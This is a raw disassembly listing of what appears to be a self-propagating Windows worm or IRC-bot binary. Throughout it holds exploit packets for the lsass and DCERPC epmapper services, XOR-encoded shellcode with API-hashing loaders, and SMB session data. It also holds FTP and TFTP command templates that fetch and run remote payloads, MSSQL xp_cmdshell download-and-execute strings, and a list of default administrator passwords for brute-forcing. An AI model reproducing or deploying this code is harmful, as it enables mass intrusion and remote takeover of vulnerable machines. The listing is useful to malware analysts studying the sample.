; sub_402988+E3r align 4 dd 2 dup(0) aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0 align 8 dword_424F98 dd 1004600h ; DATA XREF: sub_402988+13Dr ; sub_402988+240r dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h dd 6C6C642Eh, 2 dup(0) dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h dd 70617274h, 6C6C642Eh, 2 dup(0) dd 751C123Ch, 0Fh dup(0) dword_425050 dd 0A0D7325h, 0 ; DATA XREF: sub_40283D+EAo ; sub_4036EB+102o ... aEchoOpenSDEqEc db 'echo open %s %d >> eq&echo user %s %s >> eq &echo get %s >> eq &e' ; DATA XREF: sub_40283D+A4o db 'cho quit >> eq &ftp -n -s:eq &%s',0Dh,0Ah,0 ; --------------------------------------------------------------------------- loc_4250BC: ; DATA XREF: sub_402988+171o ; sub_40384C+177o jmp short loc_4250C4 ; --------------------------------------------------------------------------- jmp short loc_4250C6 ; --------------------------------------------------------------------------- dd 0 ; --------------------------------------------------------------------------- loc_4250C4: ; CODE XREF: .nsp0:loc_4250BCj ; DATA XREF: sub_402988+27o ... pop esp pop esp loc_4250C6: ; CODE XREF: .nsp0:004250BEj and eax, 70695C73h arpl [eax+eax], sp ; --------------------------------------------------------------------------- dw 0 dword_4250D0 dd 1CEC8166h ; DATA XREF: sub_402988+Dr ; sub_40384C+Dr dword_4250D4 dd 0E4FF07h ; DATA XREF: sub_402988+16r ; sub_40384C+16r dword_4250D8 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: sub_4033CB+E1o ; sub_4033CB+21Bo dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_425124 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 ; DATA XREF: sub_403178+123o dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dword_425488 dd 20h, 0 ; DATA XREF: sub_403178+136o dd 20h, 5C005Ch, 0 off_42549C dd offset aString ; DATA XREF: sub_403178+15Do ; "string" a12345611111111: unicode 0, <$\123456111111111111111.doc>,0 dd 0 dword_4254DC dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_403178+174o dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) aFxnbfxfxnbfxfx: ; DATA XREF: sub_403178+45o unicode 0, <FXNBFXFXNBFXFXFXFX> dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0 aRrrrrrrrrrrrrr db '' db '' db '',0 dword_4255EC dd 18759Fh ; DATA XREF: sub_403178+104o dword_4255F0 dd 100139Dh ; DATA XREF: sub_403178+FBo asc_4255F4: ; DATA XREF: sub_402FDD+1Co ; sub_4030C0+16o unicode 0, <\\>,0 align 4 off_4255FC dd offset dword_49005C ; DATA XREF: sub_402FDD+Co ; sub_4030C0+Bo dd offset aStuttgar+8 dd 24h aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_4033CB+41o align 10h jmp short loc_425632 ; =============== S U B R O U T I N E ======================================= sub_425622 proc far ; CODE XREF: sub_425622:loc_425632p pop ebx dec ebx xor ecx, ecx mov cx, 125h loc_42562A: ; CODE XREF: sub_425622+Cj xor byte ptr [ebx+ecx], 99h loop loc_42562A jmp short loc_425637 ; --------------------------------------------------------------------------- loc_425632: ; CODE XREF: .nsp0:00425620j call near ptr sub_425622 loc_425637: ; CODE XREF: sub_425622+Ej jo short loc_42569B cdq cdq cdq mov ch, 38h test eax, 12999999h fst dword ptr [ebp+3485E912h] adc dh, cl xchg eax, ecx adc ch, [esi-0Dh] popf sal byte ptr [ecx+2], 99h cdq cdq jnp short loc_4256B9 icebp stosb stosd cdq cdq icebp out dx, al jmp far ptr 128Fh:66CDC6ABh ; --------------------------------------------------------------------------- db 71h dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h dd 0F1989999h, 4B9D999Bh ; --------------------------------------------------------------------------- adc dl, [ebp-0Dh] loc_42569B: ; CODE XREF: sub_425622:loc_425637j mov eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h dd 7B32C08Ch db 64h ; --------------------------------------------------------------------------- loc_4256B9: ; CODE XREF: sub_425622+35j pop edi fnstsw word ptr [ebp-22982277h] mov ebp, 0BDC510A4h rcl dword ptr [eax], 1 lds edi, [ebp-423AEF2Bh] leave adc al, 0DDh mov ebp, 0C8C9CD89h enter 0FFFFF3C8h, 98h enter 66C8h, 0EFh test eax, 9DCF66C8h adc dl, [ebp-0Dh] db 66h, 66h test al, 66h iret sub_425622 endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dw 6685h dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h dd 0F9336075h, 0E05FE07Eh, 0 ; --------------------------------------------------------------------------- loc_425760: ; DATA XREF: sub_40384C+156o ; sub_40384C+212o jmp short loc_425772 ; =============== S U B R O U T I N E ======================================= sub_425762 proc near ; CODE XREF: sub_425762:loc_425772p pop edx dec edx xor ecx, ecx mov cx, 17Dh loc_42576A: ; CODE XREF: sub_425762+Cj xor byte ptr [edx+ecx], 99h loop loc_42576A jmp short loc_425777 ; --------------------------------------------------------------------------- loc_425772: ; CODE XREF: .nsp0:loc_425760j call sub_425762 loc_425777: ; CODE XREF: sub_425762+Ej jo short near ptr dword_4256F0+1Eh cwde cdq cdq retn sub_425762 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh dd 999B9E5Eh dword_425810 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh ; DATA XREF: sub_40384C+105o dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh dd 0FAF6EAFCh, 99EDFCF2h, 0 dword_4258F8 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_403C8B+85o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_0 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_425984 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403C8B+B1o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows20002_0: unicode 0, <Windows 2000 2195>,0 aWindows20005_1: unicode 0, <Windows 2000 5.0>,0 align 10h dword_425A30 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403C8B+D8o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_425B10 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40384C+58o dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC_0: ; DATA XREF: sub_40384C+8Ao unicode 0, <C$>,0 a?????_0 db '?????',0 dd 0 dword_425B74 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40384C+2AAo dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_425BE0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40384C+2D1o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_425C84 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40384C+3B0o dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_425D04 dd offset loc_401495 ; DATA XREF: sub_40384C+3DEo dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_425D98 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40384C+306o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_425E04 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40384C+331o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_425E78 dd 0 ; DATA XREF: sub_40384C+35Fo dd offset loc_40A89A dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 3 dup(0) aWinxpProfess_0 db 'WinXP Professional [universal] lsass.exe ',0 align 8 dword_425F38 dd 1004600h ; DATA XREF: sub_40384C+140r ; sub_40384C+245r dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h dd 6C6C642Eh, 2 dup(0) dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h dd 70617274h, 6C6C642Eh, 2 dup(0) dd 751C123Ch, 0Fh dup(0) aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu' ; DATA XREF: sub_4036EB+BEo ; sub_4051BC+9Do db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0 align 4 aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_4036EB+97o aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_404108+B2o align 4 dword_42607C dd 10FF8h, 0 ; DATA XREF: sub_404108+6Ao dword_426084 dd 10FF8h ; DATA XREF: sub_404108+79o dword_426088 dd 7FFDF020h, 0 ; DATA XREF: sub_404108+162o dword_426090 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_404532+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkPro_1 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_1 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_426118 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_404532+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_426148 dd 0 ; DATA XREF: sub_404532+44o dd 800000D4h, 0 unk_426154 db 81h ; ; DATA XREF: sub_40460C+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 align 10h byte_4261A0 db 41h ; DATA XREF: sub_4046AA+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 4 ; =============== S U B R O U T I N E ======================================= sub_4261E4 proc near ; DATA XREF: .nsp0:00404987o push ebx push esi push edi sub sp, 80h mov esi, esp call sub_4262E0 push dword ptr [esi] push 63D61209h call sub_4262F6 mov [esi+8], eax call sub_4262A9 push dword ptr [esi+4] push 0CA2BD06Bh call sub_4262F6 mov [esi+0Ch], eax call sub_42625B push dword ptr [esi+4] push 4C0297FAh call sub_4262F6 xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_4261E4 endp ; =============== S U B R O U T I N E ======================================= sub_42625B proc near ; CODE XREF: sub_4261E4+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_426284 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_42625B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_426284 proc near ; CODE XREF: sub_42625B+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_426293: ; CODE XREF: sub_426284+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_4262A0 inc ebx jmp short loc_426293 ; --------------------------------------------------------------------------- loc_4262A0: ; CODE XREF: sub_426284+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_426284 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4262A9 proc near ; CODE XREF: sub_4261E4+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_4262C1: ; CODE XREF: sub_4262A9+1Ej cmp [ecx], ebx jz short loc_4262C9 mov ecx, [ecx] jmp short loc_4262C1 ; --------------------------------------------------------------------------- loc_4262C9: ; CODE XREF: sub_4262A9+1Aj mov edx, edi loc_4262CB: ; CODE XREF: sub_4262A9+2Aj cmp [edx+4], ebx jz short loc_4262D5 mov edx, [edx+4] jmp short loc_4262CB ; --------------------------------------------------------------------------- loc_4262D5: ; CODE XREF: sub_4262A9+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_4262A9 endp ; =============== S U B R O U T I N E ======================================= sub_4262E0 proc near ; CODE XREF: sub_4261E4+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_4262E0 endp ; =============== S U B R O U T I N E ======================================= sub_4262F6 proc near ; CODE XREF: sub_4261E4+16p ; sub_4261E4+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_42630C: ; CODE XREF: sub_4262F6+33j jecxz short loc_426346 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_426319: ; CODE XREF: sub_4262F6+2Dj lodsb cmp al, ah jz short loc_426325 ror edi, 0Dh add edi, eax jmp short loc_426319 ; --------------------------------------------------------------------------- loc_426325: ; CODE XREF: sub_4262F6+26j cmp edi, [esp+20h+arg_0] jnz short loc_42630C mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_426346: ; CODE XREF: sub_4262F6:loc_42630Cj ; sub_4262F6:loc_426346j jmp short loc_426346 sub_4262F6 endp ; --------------------------------------------------------------------------- dd 0 ; =============== S U B R O U T I N E ======================================= sub_42634C proc near ; DATA XREF: .nsp0:00404937o arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_42639E mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_426369: ; CODE XREF: sub_42634C+38j jecxz short loc_426399 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_426374: ; CODE XREF: sub_42634C+32j lodsb test al, al jz short loc_426380 ror edx, 0Dh add edx, eax jmp short loc_426374 ; --------------------------------------------------------------------------- loc_426380: ; CODE XREF: sub_42634C+2Bj cmp edx, [esp+arg_0] jnz short loc_426369 mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_426399: ; CODE XREF: sub_42634C:loc_426369j mov [esp+arg_0], ebx retn sub_42634C endp ; =============== S U B R O U T I N E ======================================= sub_42639E proc near ; CODE XREF: sub_42634C+7p ; FUNCTION CHUNK AT 004263D6 SIZE 00000007 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_4263B7 mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_4263C2 ; --------------------------------------------------------------------------- loc_4263B7: ; CODE XREF: sub_42639E+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_4263C2: ; CODE XREF: sub_42639E+14j pop edi xor esi, esi pusha push esi jmp short loc_4263D6 sub_42639E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4263C9 proc near ; CODE XREF: sub_42639E:loc_4263D6p push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_4263C9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42639E loc_4263D6: ; CODE XREF: sub_42639E+29j call sub_4263C9 loc_4263DB: ; DATA XREF: sub_4040AD+1Bo ; sub_40CE55+819o ... add [ebx], ah ; END OF FUNCTION CHUNK FOR sub_42639E ; --------------------------------------------------------------------------- db 3 dup(0) dword_4263E0 dd 60h ; DATA XREF: sub_404108+320o dword_4263E4 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_404108+2F5o dword_4263F0 dd 30h ; DATA XREF: sub_404108+2CAo ; .nsp0:0042C5C8o ... dword_4263F4 dd 0A1h ; DATA XREF: sub_404108+29Fo dword_4263F8 dd 3 ; DATA XREF: sub_404108+246o aCccc db 'CCCC',0 ; DATA XREF: sub_404108+153o align 4 loc_426404: ; DATA XREF: sub_404108+E8o jmp short near ptr dword_42640C ; --------------------------------------------------------------------------- db 6 dup(90h) dword_42640C dd 0 ; CODE XREF: .nsp0:loc_426404j dword_426410 dd 2F2F7325h, 2E732520h, 0 ; DATA XREF: .nsp0:00404AD5o aCmdKEchoOpenSD db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: .nsp0:0040495Co db 'echo quit >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0 aExecMaster___0 db 'EXEC master..xp_cmdshell ',27h,'%s',27h,0 ; DATA XREF: sub_404F08+1ACo align 4 ; aExecMaster(long long, *) aExecMaster__xp db 'EXEC master..xp_cmdshell ',27h,'del eq&echo open %s %d >> eq&echo us' ; DATA XREF: sub_404F08+178o db 'er %d %d >> eq &echo get %s >> eq &echo quit >> eq &ftp -n -s:eq ' db '&%s&del eq',0Dh,0Ah db 27h,0 align 4 aDriverSqlServe db 'DRIVER={SQL Server};SERVER=%s,%d;UID=%s;PWD=%s;%s',0 ; DATA XREF: sub_404F08+E4o align 10h aAdmins db 'admins',0 ; DATA XREF: sub_404F08+47o ; .nsp0:0042C328o align 4 aAdministrater db 'administrater',0 ; DATA XREF: sub_404F08+40o align 4 aAdministrador db 'administrador',0 ; DATA XREF: sub_404F08+39o ; .nsp0:0042C31Co align 4 aAdministrator db 'administrator',0 ; DATA XREF: sub_404F08+32o ; .nsp0:0042C318o ... align 4 aAdmin db 'admin',0 ; DATA XREF: sub_404F08+2Bo ; .nsp0:0042C32Co align 10h aRoot db 'root',0 ; DATA XREF: sub_404F08+24o ; .nsp0:0042C334o ... align 4 aSa db 'sa',0 ; DATA XREF: sub_404F08+19o align 4 dword_4265BC dd 0C933FA8Bh, 909035B2h, 0C1816690h, 0C7830138h ; DATA XREF: .nsp0:00405393o db 1Ah ; --------------------------------------------------------------------------- loc_4265CD: ; CODE XREF: .nsp0:004265D4j mov bl, [edi] xor bl, dl mov [edi], bl inc edi loop loc_4265CD ficom word ptr [esi] dec edi pop esp aaa xor [ecx+6Ch], bl ; --------------------------------------------------------------------------- dw 28CDh dd 0E4B9EBA9h, 36E14579h, 151512C5h, 66623D05h, 7066A07h dd 7979711Bh, 0DD30DE34h, 0CACACACCh, 1FD8B668h, 516C055Fh dd 75BE34BEh, 2945BE39h, 3D4DBE98h, 0BE096AB8h, 0BECE342Eh dd 0CE344D6Eh, 34297EBEh, 1166BECCh, 6466CF34h, 156EBE67h dd 0FC04CE34h, 0ACF50474h, 34BE01BEh, 0F70499CBh, 0F5B1D7E4h dd 833AC240h, 71B83070h, 0C533170h, 53D44025h, 6D6F2504h dd 6765636Bh, 74257B1Eh, 7F39823Ah, 34BD31BEh, 78833ACDh dd 0B871BC30h, 3078CBEDh, 78CB8B40h, 0CB144131h, 68B81778h dd 0E5CA662Dh, 315FF2BCh, 3070BD6Dh, 3F4270B5h, 0B54168B8h dd 0DC21135Eh, 0CACACA4Dh, 0EE04FBBCh, 66666666h, 0CA637363h dd 6D60A2E5h, 5F05BC53h, 0CA626025h, 637BE160h, 0F960CA62h dd 0CA626066h, 0B8A2E560h, 0CA65BD70h, 6060D160h, 0B8DD60CAh dd 0A1393071h, 501B5D66h, 695D504Dh, 0A1515856h, 70B8E704h dd 6262A1F9h, 0CB666662h, 67C734F3h, 4D70B8A1h, 0BD70B865h dd 663D8465h, 0CB255F66h, 666667FBh, 60CA6066h, 0CACA5FD9h dd 0D560h word_426710 dw 7A69h ; DATA XREF: sub_4051BC+30r align 4 a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_405409+5CDo aQuit db 'QUIT',0 ; DATA XREF: sub_405409+5B9o ; sub_40CE55+534o align 4 a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0 ; DATA XREF: sub_405409+5ACo align 4 dword_42675C dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh ; DATA XREF: sub_405409+561o dd 2029206Ch, 2BBBB02h aFileSentToSOnP db ' File sent to %s on port %d, now executing %s on remote machine.' db 0 align 4 a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_405409+542o a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 ; DATA XREF: sub_405409+516o align 10h aRetr db 'RETR',0 ; DATA XREF: sub_405409+4FEo align 4 a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_405409+4E9o align 4 aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_405409+4D8o aXX db '%x%x',0Ah,0 ; DATA XREF: sub_405409+4A5o align 4 aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_405409+464o db ']',0 aPort db 'PORT',0 ; DATA XREF: sub_405409+42Bo align 4 a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_405409+3FDo align 4 aList db 'LIST',0 ; DATA XREF: sub_405409+3EAo align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 ; DATA XREF: 